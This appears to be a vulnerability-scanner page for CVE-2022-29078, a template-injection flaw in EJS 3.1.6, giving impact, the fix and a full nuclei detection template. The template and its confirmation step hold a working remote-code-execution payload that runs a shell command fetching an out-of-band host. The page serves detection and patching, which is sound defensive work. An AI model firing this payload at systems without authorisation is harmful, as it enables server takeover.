Node.js Embedded JavaScript 3.1.6 - Template Injection

criticalseverity

9.8CVSS score

32.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.

Impact

Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.

Fix

Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.

How to confirm it

Send: GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-ur…
Positive when: contains in interactsh_protocol "http" AND contains "You are viewing page number"

Run it with nuclei: nuclei -id CVE-2022-29078 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-29078

info:
  name: Node.js Embedded JavaScript 3.1.6 - Template Injection
  author: For3stCo1d
  severity: critical
  description: |
    Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
  impact: |
    Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
  remediation: |
    Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
  reference:
    - https://eslam.io/posts/ejs-server-side-template-injection-rce/
    - https://github.com/miko550/CVE-2022-29078
    - https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29078
    - https://github.com/mde/ejs/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29078
    cwe-id: CWE-94
    epss-score: 0.32808
    epss-percentile: 0.98364
    cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js,vkev,vuln

http:
  - raw:
      - |
        GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http

      - type: word
        part: body
        words:
          - You are viewing page number

References

Use this check only on systems you are authorised to test. Where the data comes from